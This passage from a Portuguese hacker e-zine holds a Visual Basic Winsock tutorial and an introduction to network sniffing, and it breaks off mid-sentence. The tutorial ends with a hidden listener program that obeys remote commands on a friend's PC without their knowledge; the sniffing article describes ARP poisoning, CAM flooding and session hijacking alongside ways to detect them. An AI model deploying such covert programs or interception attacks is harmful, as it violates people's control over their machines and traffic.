# Dim DadoAEnviar As String
# DadoAEnviar = "GET / HTTP/1.1" & vbCrLf
# DadoAEnviar = DadoAEnviar & "HOST: home.uol.com.br" & vbCrLf
# DadoAEnviar = DadoAEnviar & "Accept: */*" & vbCrLf
# DadoAEnviar = DadoAEnviar & vbCrLf
# Winsock1.SendData DadoAEnviar
# End Sub

Nosso pedido é um Dado  que temos que enviar para  o servidor HTTP para ele  nos
enviar a página...

Bom...o Nosso pedido foi o seguinte:
(OBS: vbCrLF = Constante equivalente a "Enter")

"GET / HTTP/1.1
HOST: home.uol.com.br
Accept: */*

"
OBS: a 1ª Linha pede para o servidor a página inicial de acordo com o protocolo
HTTP Versão 1.1
, a 2ª linha confirma o servidor host que contem o nosso pedido
, a 3ª linha diz para o servidor que aceitamos qualquer tipo de arquivo...
, a 4ª  linha, isso  mesmo, o  enter, é  necessário para  que o  pedido esteja
pronto...(exigido pelo protocolo HTTP versão 1.1)

Bom...assim  que terminamos  de colocar  todo esse  conteúdo na  nossa variável
DadoAEnvar podemos fazer o pedido: Winsock1.SendData DadoAEnviar
Esta função funciona da forma a seguir: SendData(mensagem a enviar)

E por fim, agora temos que "saber" receber os dados do nosso Host Remoto(que  em
nosso caso: home.uol.com.br)

Toda vez que recebemos  dados do nosso Host  Remoto um Evento é  executado, este
evento é o DataArrival...

# Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
# Dim X As String
# Winsock1.GetData X
# Text1.Text = Text1.Text & X
# End Sub

Para "pegarmos" a informação corrente é preciso que usemos o código a seguir,
que armazenará a informação corrente em X:

# Winsock1.GetData X

Esta função funciona da seguinte forma: GetData (onde será aramazenado o valor
corrente)  assim  que  temos  a informação  temos  que  concatená-la  ao que  já
"pegamos", para isso concatenamos-la como exibido logo a baixo:

# Text1.Text = Text1.Text & X

Agora que já entendemos como funciona em código de alto nível, vamos saber  como
funciona teóricamente essa comunicação pelo  winsock em Visual Basic 6;  ficaria
como mostra abaixo...:

1º Passo:
#---------------------------------------------------------#
|"Eu"-------------------->  Host Remoto                   |
|---------------------------------------------------------|
|Mensagem de "Eu" para "Host Temoto": "Posso me conectar?"|
#---------------------------------------------------------#

2º Passo(Conectando):
#-----------------------------------------------------------------#
|"Eu"<--------------------  Host Remoto                           |
|-----------------------------------------------------------------|
|Mensagem de "Host Temoto" para "Eu": "Sim, Você pode se conectar"|
#-----------------------------------------------------------------#

3º Passo(Fazendo requisição da página):
#--------------------------------------------------------------#
|"Eu"-------------------->  Host Remoto                        |
|--------------------------------------------------------------|
|Mensagem de "EU" para "Host Temoto": "Me manda a página então"|
#--------------------------------------------------------------#

4º Passo(Espácie de Chat):
#---------------------------------------------------------#
|"Eu"<--------------------  Host Remoto                   |
|---------------------------------------------------------|
|Mensagem de "Host Temoto" para "Eu": "Está aqui a página"|
#---------------------------------------------------------#

Como assim Chat?!?!

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-= 4: CHAT - Toda a comunicação é um Chat =-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Como veremos agora, você entenderá o porque desta comparação que parece-te muito
"esquisita"...
Imagina se por acaso...você  quisesse se conectar, ao  invez de um servidor,  um
computador de algum amigo  teu? Como você não  precisa de protocolo nenhum  para
enviar ou receber alguma mensagem, você precisará apenas se conectar...e  depois
como queremos dar uma utilidade ao enviar uma mensagem, que no caso queremos que
ele veja a mensagem, então vamos ao projeto.

Mas antes vejamos como o projeto deverá estar...
- 1 programa deverá estar rodando em teu computador
- 1 programa deverá estar rodando no computador de seu amigo

Vamos começar pelo programa que deverá estar rodando em teu computador:
- Abra o visual Basic, e etc...
- adicione um winsock
- adicione 3 botões
- adicione 1 timer
- adicione 3 textbox
- adicione 1 label

- Não mude o nome de nenhum controle adicionado, para melhor entendimento de
nossos códigos...

- Mova o Text3 para ficar próximo do Command1
- Mova o Text1 para ficar próximo do Command2
- Mova o Text2 para ficar de forma maior que os outros controles, pois nele
veremos as conversas

- Arrume a propriedade "Caption" do Command2 para: "&Enviar"
- Arrume a propriedade "Default" dele para: "True"

- Arrume a propriedade "Caption" do Command1 para: "&Conectar"

- Arrume as propriedades "Text" do Text1, Text2 e Text3 para estarem vazios

- Arrume a propriedade "MultiLine" do Text2 para: "True"
- Arrume a propriedade "ScollBars" dele para "2 - Vertical"

- Arrume a propriedade "Caption" do Label1 para: "Status:"
- Deixe-o de tal forma a ser o último item do formulário, estando abaixo de
todos os outros controles

- Arrume a propriedade "Interval" do Timer1 para "500"(é o mesmo que 1/2
segundo)

- Arrume o Command3 para estar próximo ao command1
- Arrume a propriedade "Caption" dele para "&Desconectar"

Agora vamos ao Código deste programa

>>> No evento Timer do Timer1 atualize o código para que fique como abaixo:

# Private Sub Timer1_Timer()
# Label1.Caption = "Status: " & Winsock1.State
# End Sub

>>> No Evento Click do Command1 atualize o código para que fique como abaixo:

# Private Sub Command1_Click()
# On Error GoTo erro
# Winsock1.Connect Text3.Text, 120
# Exit Sub
# erro:
# MsgBox "Não conssegui me conectar", vbCritical, "Erro ao tentar conectar"
# End Sub

>>> No Evento Click do Command2 atualize o código para que fique como abaixo:

# Private Sub Command2_Click()
# On Error GoTo erro
# Winsock1.SendData Text1.Text
# Text2.Text = Text2.Text & "Eu Disse: " & Text1.Text & vbCrLf
# Exit Sub
# erro:
# MsgBox "Não conssegui enviar o código!", vbCritical, "Erro ao tentar
conectar"
# End Sub

>>> No Evento Click do Command3 atualize o código para que fique como abaixo:

# Private Sub Command3_Click()
# Winsock1.Close
# End Sub

>>> No Evento Connect do Winsock1 atualize o código para que fique como abaixo:

# Private Sub Winsock1_Connect()
# Winsock1.SendData Winsock1.LocalIP & " está conectado!"
# Text2.Text = Text2.Text & "Eu Disse:" & Winsock1.LocalIP & " está conectado!"
& vbCrLf
# End Sub

>>> No Evento DataArrival do Winsock1 atualize o código para que fique como
abaixo:

# Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
# Dim X As String
# Winsock1.GetData X
# Text2.Text = Text2.Text & "Ele disse: " & X & vbCrLf
# End Sub

Agora vamos ao código do programa que deverá estar rodando na casa de seu
amigo...

- Arrume a propriedade "LocalPort" e "RemotePort" do Winsock1 para "120"

- Faça este novo programa exatamente igual a este anterior...porém sem o
command1 e sem o Text3

>>> No Evento ConnectionRequest do Winsock1 atualize o código para que fique
como abaixo:

# Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
# Winsock1.Close
# Winsock1.Accept requestID
# End Sub

>>> No Evento Load do Form1 atualize o código para que fique como abaixo:

# Private Sub Form_Load()
# Winsock1.Listen
# End Sub

Como tudo isso funciona?
--------------------------------------------------------
# Arrume a propriedade "Default" dele para: "True"

Toda vez que num Textbox for precionado a tecla 'Enter' será o mesmo que  clicar
no  botão  com  esta propriedade  (OBS:  apenas  1 botão  por  form  pode ter  a
propriedade Default como True)
--------------------------------------------------------

# Arrume a propriedade "MultiLine" do Text2 para: "True"

Toda vez que esta propriedade for arrumada para true em um textbox, este poderá
ter várias linhas.
--------------------------------------------------------
# Arrume a propriedade "ScollBars" dele para "2 - Vertical"
Toda vez que esta propriedade for setada para 2 aparecerá uma barra de rolagem
no textbox
--------------------------------------------------------
# Arrume a propriedade "Interval" do Timer1 para "500"(é o mesmo que 1/2 segundo)
Esta  propriedade arruma  o tempo,  de que  em tempo  em tempo  o Evento  Timer
ocorrerá no Timer1 Saiba que 1000(na Propriedade Interval) equivale a 1 segundo,
logo 500 é 1/2 segundo...
--------------------------------------------------------
# Private Sub Timer1_Timer()
# Label1.Caption = "Status: " & Winsock1.State
# End Sub
Mantém sempre ativo e verdadeiro o valor atual do Winsock1.state exibido em
Label1.Caption
--------------------------------------------------------
# Private Sub Command1_Click()
# On Error GoTo erro
# Winsock1.Connect Text3.Text, 120
# Exit Sub
# erro:
# MsgBox "Não conssegui me conectar", vbCritical, "Erro ao tentar conectar"
# End Sub
On error goto erro >>> significa que se houver algum erro ao tentar executar
alguma das linhas abaixo, quer que exiba uma mensagem de erro no nosso caso...

Winsock1.Connect Text3.Text, 120 >>> quer dizer para o winsock se conectar com
o Host que foi predeterminado pelo usuário em Text3.Text, pela porta 120...

OBS: O Host pode ser também um número IP
--------------------------------------------------------
# Private Sub Command2_Click()
# On Error GoTo erro
# Winsock1.SendData Text1.Text
# Text2.Text = Text2.Text & "Eu Disse: " & Text1.Text & vbCrLf
# Exit Sub
# erro:
# MsgBox "Não conssegui enviar o código!", vbCritical, "Erro ao tentar
conectar"
# End Sub
Tenta enviar a informação presente em Text1.Text para o Host Remoto e adicionar
o que acabou de escrever em Text2.Text, caso não conssiga ele deverá exibir uma
mensagem de erro...
--------------------------------------------------------
# Private Sub Command3_Click()
# Winsock1.Close
# End Sub
Prepara ou Reprepara o Winsock para uma nova conexão...
--------------------------------------------------------
# Private Sub Winsock1_Connect()
# Winsock1.SendData Winsock1.LocalIP & " está conectado!"
# Text2.Text = Text2.Text & "Eu Disse:" & Winsock1.LocalIP & " está conectado!"
& vbCrLf
# End Sub
Caso consiga se conectar ele envia a mensagem: " está conectado!", e exibe
oque acabou de enviar em Text2.Text
--------------------------------------------------------
# Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
# Dim X As String
# Winsock1.GetData X
# Text2.Text = Text2.Text & "Ele disse: " & X & vbCrLf
# End Sub
Armazena oque acabou de receber em X e salva o valor atual de X, concatenando
em Text2.Text
--------------------------------------------------------
# Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
# Winsock1.Close
# Winsock1.Accept requestID
# End Sub
winsock1.close >>> Reprepara o winsock pra parar de "escutar" e ficar preparado
para esta nova conexão...
Winsock1.Accept requestID >>> Aceita conexão
--------------------------------------------------------
# Private Sub Form_Load()
# Winsock1.Listen
# End Sub
Prepara o winsock1 para aceitar conecções pela porta 120, como já pré
determinado pela
propriedade LocalPort e RemotePort...
--------------------------------------------------------
Colocando pra rodar:

- Coloque o 1º programa em seu computador pra rodar...
- Coloque o 2º programa no computador do seu amigo pra rodar...
- Pegue o IP do teu amigo...
- Coloque este IP no campo de texto ao lado do botão conectar...
- Click em conectar...e inicie o bate papo...

Agora...Repare...Quase todos os aplicativos e programas do windows voltados  pra
internet  utilizam  essa  DLL  (em   alguma  vezes,  e  como  nestes   exemplos:
OCX)...Bom...agora  que  você já  entende...  Imagine, o  que  faz os  programas
"conversarem" entre si é este componente, isso não parece um "CHAT"?

Por isso que digo e confirmo a minha idéia neste próximo capítulo...

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-= 5: Aperfeiçoando uma idéia... =-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Agora... imagine se o programa envia uma certa informação, e o programa receptor
recebe esta e analisa o conteúdo,  quando ele analisa o conteúdo (sem  mostrar a
informação  ao  usuário), verifica  que  sempre sem  mostrar  ao usuário  deverá
executar uma tal instrução.... agora imagine  se este usuário (o que está  com o
programa receptor) não souber que está  rodando em seu PC o programa...  e agora
imagine que  esta tal  instrução seja  de apagar  algum arquivo,  ou exibir  pro
usuário uma mensagem de um suposto "vírus"...

Pegue aquele programa que deveria rodar na  casa do seu visinho do capítulo 4  e
vamos fazer algumas modificação nele...

>>> No Evento Load do Form1 atualize o código para que fique como abaixo:

# Private Sub Form_Load()
# Me.Visible = False
# Winsock1.Close
# Winsock1.Listen
# End Sub

>>> No Evento DataArrival do Winsock1 atualize o código para que fique como
abaixo:

# Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
# Dim X As String
# Winsock1.GetData X
# Select Case X
# Case "#EXIT#"
# End
# Case "#MSG1#"
# MsgBox "Isto é um Vírus! esteja preparado para as conssequencias",
vbCritical, "É o teu fim!"
# Case "#MSG2#"
# MsgBox "Eu sou Munrra!" & vbCrLf & "Espíritos do Além! torne esta forma
decadente em Munrra!!!", _
# vbInformation, "Munrra domina novamente!"
# Case "#MSG3#"
# MsgBox "Ha!!!!!!!!!!!! o mundo vai acabar! salve-se quem puder!!!!!!",
vbCritical, "É o fim do mundo!"
# Case Else
# MsgBox "Teu amigo ta querendo te encher o saco....vai lá na casa dele bater
nele!", vbCritical, _
# "Teu amigo é um safado!"
# End Select
# End Sub
Como isso funciona:
--------------------------------------------------------
# Private Sub Form_Load()
# Me.Visible = False
# Winsock1.Close
# Winsock1.Listen
# End Sub

Me.Visibled = False >>> quer dizer para o formulário ficar invisível
--------------------------------------------------------
# Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
# Dim X As String
# Winsock1.GetData X
# Select Case X
# Case "#EXIT#"
# End
# Case "#MSG1#"
# MsgBox "Isto é um Vírus! esteja preparado para as conseqüência", vbCritical,
"É o teu fim!"
# Case "#MSG2#"
# MsgBox "Eu sou Munrra!" & vbCrLf & "Espíritos do Além! torne esta forma
decadente em Munrra!!!", _
# vbInformation, "Munrra domina novamente!"
# Case "#MSG3#"
# MsgBox "Ha!!!!!!!!!!!! o mundo vai acabar! salve-se quem puder!!!!!!",
vbCritical, "É o fim do mundo!"
# Case Else
# MsgBox "Teu amigo ta querendo te encher o saco....vai lá na casa dele bater
nele!", vbCritical, _
# "Teu amigo é um safado!"
# End Select
# End Sub

Verifica O valor de X (que é  a variável que armazena a informação que  chegou),
ao verificar  ele "Vê"  se o  valor é  #EXIT#, ou  #MSG1# ou  #MSG2#, quando ele
"descobre" qual que é ele executa sua referente função.
--------------------------------------------------------

Dica: Aconselho-te estudar BEM o código fonte antes de simplesmente compilá-lo
e enviar ao teu amigo...eheh

O  que  você fez  foi  enviar comandos(#EXIT#,  #MSG1#...)  ao invés  de  enviar
mensagens...de certa forma você ainda enviou  mensagens, que é algo comum em  um
CHAT.... Agora imagina se o seu programa começasse a enviar comandos para  saber
se ainda  está conectado  com teu  amigo, mas  não é  você que  está enviando os
"comandos". Que conclusão é possível se tirar disso?
R: Ainda há um CHAT! um Chat de programa pra programa...e não mais de Usuário
para usuário.
Explicado, agora que você entende isso repare uma coisa: TODOS OS PROGRAMAS  QUE
UTILIZAM REDE ESTÃO NESTA ESPÉCIE DE CHAT!!!!
Logo podemos dizer que "toda comunicação é um chat"!

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-= 6: Contato =-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Se você não entendeu algo... ou tem alguma dúvida sobre algo que foi explicado
aqui,  ou sobre winsock ou qualquer coisa mesmo...  pode me perguntar,  se eu
souber, eu respondo.

vbkeydel@hotmai.com
139112482

-=| EOF |=-

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[07]-=[Sniffing for Dummies]-=|hallz|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

                            Introducao ao Sniffing
                            (Sniffing for Dummies)

                                               Por hallz

.:: Introducao ::.

  Procuro abordar aqui o  funcionamento de um sniffer,  os riscos que este  pode
trazer a uma  rede, alguns truques  que invasores usam  para oculta-lo e  tambem
formas de deteccao.

  Ao longo do artigo, usarei a palavra 'invasor' quando me referir a pessoa  que
esta 'sniffando' uma  rede que nao  seja sua. 'Invasor'  neste caso, serve  para
hackers, crackers e kiddies. Vale  lembrar, no entanto, que as  diferencas entre
os termos sao enormes. Hackers sao pessoas com conhecimento  avancado, que estao
sempre em busca de mais conhecimento, compartilham suas descobertas e seguem uma
etica; Crackers violam sistemas com intencoes maliciosas, causando problemas aos
seus alvos; Kiddies  sao pessoas que  nao tem conhecimento  tecnico, apenas usam
ferramentas criadas por outros como forma de conseguir seus 15 minutos de fama.

  Este eh um texto basico, portanto  se voce ja eh 'fera', nao  espere encontrar
algo novo por aqui.

.:: O que sao Sniffers? ::.

  Sniffers (farejadores) sao dispositivos (podem ser programas ou algum hardware
especifico) que capturam  (a maioria tambem  analisa) o trafego  de uma rede  de
forma  passiva, isto  eh, sem  interferir nas  comunicacoes.  Estes,  podem ser
utilizados  tanto  por  administradores  como  por  invasores,  obviamente   com
propositos diferentes.

  Administradores podem usar  um sniffer para  detectar, ou pelo  menos ajudar a
detectar, a causa de um problema, assim  como gerar logs do trafego da rede  que
podem  ser consultados posteriormente caso necessario (devido ao comprometimento
de  uma  maquina, por  exemplo).  Ja invasores  podem  utiliza-lo para  capturar
informacoes  confidenciais   que  circulem   em  'texto-puro',   ou  seja,   nao
criptografadas. Qualquer informacao nao criptografada, incluindo logins e senhas
de  servicos  como  FTP,  Telnet  e  POP,  estara  acessivel  ao  invasor.  Usar
criptografia eh altamente recomendavel, porem nao impede totalmente o acesso por
parte do invasor as informacoes.

.:: Como Funcionam ::.

  Para   entender  o   funcionamento  dos   sniffers,  precisamos   entender  o
funcionamento das redes. Aqui sera abordado o padrao Ethernet, o mais  utilizado
hoje em dia.

  Cada computador em  uma rede Ethernet  tem o seu  endereco de hardware,  o MAC
(Media Access Control).  O MAC, um  numero hexadecimal de  12 digitos, unico  em
toda a rede (teoricamente nao existem duas  placas de rede com o mesmo MAC),  eh
utilizado para identificar as maquinas. Em cada pacote enviado, logo no  comeco,
podemos encontrar  dois enderecos  MACs; O  endereco do  computador que enviou o
pacote, e o endereco do computador que deve recebe-lo.

  Na verdade, todos os computadores da rede recebem os pacotes (salvo se  a rede
utilizar  switches - isto sera  abordado mais  adiante),  mas  so responderao  a
pacotes destinados a elas, ou seja, apenas responderao caso o pacote em  questao
tenha o  seu endereco  MAC como  destinatario; caso  nao possua,  o pacote  sera
descartado  (isso  eh  feito  a  nivel de  hardware  -  interface  de  rede). Se
conseguirmos  fazer  com que  a  interface nao  descarte  os pacotes,  poderemos
capturar todo o trafego da rede! E eh assim que um sniffer funciona, ele faz com
que  a  interface de  rede  aceite todos  os  pacotes. Quando  uma  interface se
encontra nesta condicao, dizemos que esta em 'modo promiscuo', estado que geral-
mente pode-se habilitar via software.

  Na maioria dos sistemas operacionais atuais, para por uma interface de rede em
modo promiscuo, deve-se ter privilegios de root (administrador). O sniffer  pode
ser utilizado com  a interface em  seu estado normal,  mas neste caso  soh serao
capturados os pacotes que tenham como origem (ou destino) o computador onde  ele
esta sendo executado. Pode nao parecer tao interessante (e realmente nao eh) mas
se este computador for um roteador, o invasor  tera acesso a todo  o trafego que
por ele passar.

  Os  pacotes capturados  pelo sniffer  geralmente sao  armazenados em  arquivos
salvos no disco  rigido, para posterior  analise. Em uma  rede movimentada, este
arquivo podera ficar enorme, em poucas horas, o que facilitaria a deteccao de um
sniffer por parte do  administrador. Por este motivo  (e tambem para nao  perder
tempo), sniffers instalados furtivamente sao bem seletivos; gravam apenas o  que
eh interessante ao invasor (geralmente logins e senhas).  Como estas informacoes
geralmente localizam-se no comeco do pacote, muitos sniffers nao analisam o  pa-
cote inteiro, mas apenas os seus primeiros 200-300 bytes.   Outros  sniffers vao
ainda mais longe;  enviam os  logins/senhas capturados  para um e-mail fornecido
pelo invasor.

  Imaginemos a seguinte situacao: Um invasor, localizado no RJ, quer interceptar
a conversa pela internet de Joao e Maria, que estao em SP, usando um sniffer. Eh
possivel?

                         ----------------
                        /                \
                       /                  \
  ------       ----------                ----------        -------
 | Joao |---> | Provedor |   INTERNET   | Provedor | <--- | Maria |
  ------       ----------                ----------        -------
                       \                  /
                        \   ----------   /
                         --| Provedor |--
                            ----------
                                |
                            ---------
                           | Invasor |
                            ---------

  Claro! Basta que ele consiga acesso  ao computador de um dos dois  (engenharia
social, exploracao de alguma falha, trojans...), ou a algum que esteja 'no  meio
do caminho' (Um  servidor do provedor  de Maria ou  um roteador, por  exemplo) e
instale la o sniffer.  O invasor pode ainda  fazer com que os  dados passem pelo
seu computador (ou seja,  ele redireciona o trafego).  Apesar de ser muito  mais
trabalhoso, eh possivel.

.:: Sniffers em redes comutadas ::.

  Logo acima foi dito que os pacotes  em uma rede sao distribuidos por todos  os
computadores; Isto eh verdade se for utilizado um hub ou cabo coaxial para fazer
a ligacao dos PCs, mas nao  se for utilizado um switch  (Lembrem-se  que estamos
falando de redes Ethernet).

  Os  switches  possuem  tabelas  onde  sao  armazenados,  entre  outras coisas,
enderecos MACs encontrados em cada uma  de suas portas. Por isso, o  switch pode
enviar  os pacotes  apenas para  a porta  onde esta  o destinatario.  Com isso,
dificulta-se o sniffing (Porem  nao o torna impossivel  :P ). Mas como  o switch
sabe em  que porta  o destinatario  esta? Simples!  Suponhamos que  Joao e Maria
agora  estao  ligados em  uma  rede comutada.  Vejamos  o que  acontece  se Joao
'pingar' (ICMP Echo Request) o computador de Maria.

Joao ---> ARP Request ---> Broadcast
Joao <--- ARP Response <--- Maria
Joao ---> ICMP Echo Request ---> Maria
Joao <--- ICMP Echo Response <--- Maria

  O que acontece eh o seguinte: Joao  quer enviar o ICMP Echo Request (o  famoso
Ping) para Maria, mas  para isso, ele precisa  saber o endereco fisico  (MAC) do
computador de Maria. Por isso, Joao 'grita', para todos os computadores da  rede
(Broadcast): "Qual o endereco  MAC de Maria?". Isto  eh um ARP Request  (Address
Resolution Protocol - o  ARP traduz enderecos IP  para MAC). Maria entao  ouve o
'grito' de Joao e  o responde (ARP Response).  Agora que Joao ja  tem o endereco
MAC, pode  enviar o  'ping' (Echo  Request), que  eh prontamente respondido pela
Maria (Echo Response). Depois disso,  caso Joao queira enviar mais  algum pacote
para Maria (e vice-versa), nao precisara enviar primeiro outro ARP Request, pois
o endereco MAC de Maria ja  sera conhecido, podendo ser localizado na  cache ARP
de seu PC. Quando passam ARP Requests e Responses pelo switch,  este verifica de
qual de suas portas o pacote  foi originado e pega o endereco  MAC de origem que
esta escrito no pacote.  Essas informacoes sao entao registradas nas tabelas  do
switch; Assim ele fica sabendo em que porta estao localizados cada computador, e
pode repassar os pacotes apenas para a porta onde esta o destinatario do pacote.
Redes  que operem  nesta forma sao chamadas  de comutadas.   Porem nem  tudo sao
flores, e o sniffing ainda pode funcionar nestas condicoes. Vejamos algumas for-
mas de fazer isso.

+ Table Flooding
  Como ja foi  dito, o switch  sabe para que  porta enviar cada  pacote devido a
tabela que ele  possui (CAM Table).  (CAM) Table Flooding  consiste em encher  a
tabela do switch  com entradas falsas,  para que ele  passe a enviar  os pacotes
para todas as portas.

Tabela do Switch ANTES do ataque:   (apenas  para ilustracao,  a tabela  eh mais
'complexa')

 --------------------------
| Porta  |  Endereco MAC   |
|--------------------------|
|   01   |   MAC de Maria  |
|   02   |   MAC de Joao   |
|   ...  |       ...       |
|   10   |  MAC do Invasor |
 --------------------------

  Entao o invasor, que quer capturar o trafego da rede, comeca a enviar  pacotes
ARP  para  a rede,  cada  um com  um  endereco MAC  -  que nao  existe  na rede
- diferente. O switch armazena estes enderecos em sua tabela, ateh que esta fica
cheia - Sim, a CAM Table tem um limite de entradas.

Tabela do Switch DURANTE o ataque:

 ----------------------------
| Porta |    Endereco MAC    |
|----------------------------|
|  01   | MAC inexistente 1  |
|  02   | MAC inexistente 2  |
|  ...  |        ...         |
|  10   | MAC inexistente 10 |
 ----------------------------

  Assim, todo o pacote cujo destinatario nao estiver listado na tabela do switch
devera ser  enviado para  todas as  portas. Ai,  o invasor  pode captura-los sem
problemas. O macof eh um programa que aplica esta tecnica.

+ ARP Cache Poisoning
  Esta tecnica consiste em enviar pacotes ARP forjados para as maquinas-alvo, de
forma com que todo o trafego entre elas passe pela maquina do invasor.
  Vejamos o caminho (normal) dos pacotes  entre Joao e Maria:

 --------        --------        -------
|  Joao  | <--> | Switch | <--> | Maria |
 --------        --------        -------

  Para poder sniffar o trafego entre  Joao e Maria, o invasor envia  pacotes ARP
(que nao requerem autenticacao) para Joao fingindo ser Maria, e pacotes ARP para
Maria fingindo  ser Joao.  Assim a  tabela ARP  de Maria  e Joao fica envenenada
(poisoned). Vejamos as tabelas:

Antes:

  Tabela de Joao ANTES do ataque           Tabela de Maria ANTES do ataque
 --------------------------------          --------------------------------
|  Endereco IP  |  Endereco MAC  |        |  Endereco IP  |  Endereco MAC  |
|--------------------------------|        |--------------------------------|
| IP de Maria   | MAC de Maria   |        |  IP de Joao   |  MAC de Joao   |
| IP do Invasor | MAC do Invasor |        | IP do Invasor | MAC do Invasor |
 --------------------------------          --------------------------------

Durante:

 Tabela de Joao DURANTE o ataque           Tabela de Maria DURANTE o ataque
 --------------------------------          --------------------------------
|  Endereco IP  |  Endereco MAC  |        |  Endereco IP  |  Endereco MAC  |
|--------------------------------|        |--------------------------------|
| IP de Maria   | MAC do Invasor |        |  IP de Joao   | MAC do Invasor |
| IP do Invasor | MAC do Invasor |        | IP do Invasor | MAC do Invasor |
 --------------------------------          --------------------------------

  O invasor deve certificar-se que os  pacotes enviados por Joao cheguem ao  seu
destinatario real, Maria, e vice-versa.  Isso pode ser feito facilmente  atraves
do IP Forwarding, que eh suportado por muitos sistemas operacionais. Alem disso,
o invasor devera enviar regularmente novos  pacotes ARP para Maria e Joao,  pois
as entradas nas tabelas ARP expiram.

O caminho dos pacotes durante o ARP Poisoning:
 --------        --------        ---------        --------        -------
|  Joao  | <--> | Switch | <--> | Invasor | <--> | Switch | <--> | Maria |
 --------        --------        ---------        --------        -------

  Com o  ARP Cache  Poisoning o  invasor pode  nao somente  capturar os  pacotes
enviados como  tambem altera-los  (assim como  cria-los) antes  de enviar para o
verdadeiro destinatario. Imagine se o invasor se passar por um roteador...

+ ICMP Redirect
  Pacotes  ICMP  Redirect  sao  usados por  roteadores  para  fazer  com que  os
computadores  enviem  seus  pacotes  por  um  caminho  diferente.  Forjando ICMP
Redirects o invasor pode  alterar as tabelas de  roteamento de uma maquina  para
que o trafego passe por ele.

+ Monitor Port (SPAN, Port Mirroring, Port Monitoring)
  Muitos switches fornecem Monitor Ports, que permitem copiar todo o trafego  da
rede para uma  (ou mais) portas.  O problema -  Ou solucao, depende  do ponto de
vista - eh que muitos  administradores nao alteram as senhas-padrao,  permitindo
assim que o invasor faca  com que o switch envie  todo o trafego da rede  para a
porta em que ele esta conectado. Caso o switch suporte realizar esta configuracao
via SNMP,  o invasor pode tentar  adivinhar a senha.   Mesmo que o administrador
tenha configurado o switch para  aceitar apenas pacotes SNMP  vindos de um certo
endereco IP, o invasor pode utilizar de spoofing.

+ Switch Port Stealing
  Nesta  tecnica  o invasor  envia  pacotes com  o  endereco MAC  de  origem  da
maquina-alvo. O switch entao "aprende" que o invasor *eh* a maquina-alvo e passa
a enviar os pacotes destinados a ela para o invasor.

  Temos dois problemas aih. O primeiro eh que se a maquina-alvo parar de receber
os  pacotes, a   conexao se  encerra; O  outro problema  eh que  a maquina-alvo
continuara enviando pacotes, o que fara com que a tabela do switch volte ao  seu
estado normal.

  Para contornar o  problema, podemos tirar  a maquina-vitima da  jogada (DoS) e
enviar os pacotes com o MAC  alterado. Assim podemos tomar conta de  uma conexao
ja autenticada, como  uma sessao Telnet.  Outra possibilidade eh  enviar pacotes
com o MAC alterado em intervalos  regulares, e ao receber um pacote destinado  a
maquina-alvo,  reenvia-lo  para  broadcast.   Assim,   a  maquina-alvo  continua
recebendo os pacotes.

.:: Detectando Sniffers ::.

  Por sua  natureza  passiva,  a  deteccao  de  sniffers  pode  se  tornar  algo
complicado. Contudo, formas de deteccao  existem, e podem ser divididas  em duas
categorias: locais e remotas.

  A deteccao  local consiste basicamente em utilizar ferramentas do sistema para
verificar se  existem interfaces  em modo  promiscuo, ou  algum outro indicio da
existencia de sniffers  na maquina. Podemos  ver se uma  interface esta em  modo
promiscuo usando o ifconfig:

bash-2.05b# ifconfig -a
eth0      Link encap:Ethernet  HWaddr 00:50:56:40:2A:B9
          inet addr:192.168.0.172  Bcast:192.168.0.191  Mask:255.255.255.224
          UP BROADCAST NOTRAILERS RUNNING PROMISC MULTICAST  MTU:1500  Metric:1
          RX packets:10 errors:0 dropped:0 overruns:0 frame:0
          TX packets:10 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100
          RX bytes:2282 (2.2 Kb)  TX bytes:2707 (2.6 Kb)
          Interrupt:10 Base address:0x10a0

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:0 (0.0 b)  TX bytes:0 (0.0 b)

  Repare a palavra "PROMISC" em eth0.   Em maquinas Windows (NT, 2000, XP)  pode
-se utilizar o PromiscDetect. Outra ferramenta que pode ser utilizada eh o  lsof
(list  open files),  em busca  de network  files abertos  (sockets) ou  ainda o
arquivo onde o sniffer grave os dados capturados.

  O problema da deteccao local eh  que o invasor pode substituir as  ferramentas
como  ifconfig ou  ainda carregar  modulos que  facam o  computador esconder  as
informacoes  que  poderiam  entregar  a  presenca  do  sniffer.  Um  checador de
integridade, como o tripwire, pode ajudar a resolver o problema da alteracao  de
binarios, mas se o invasor inserir um modulo no kernel que faca o sistema mentir
para voce, o tripwire de nada adiantara. Existem ferramentas, como o rkscan, que
podem localizar rootkits conhecidos, atraves de assinaturas (padroes). Novamente,
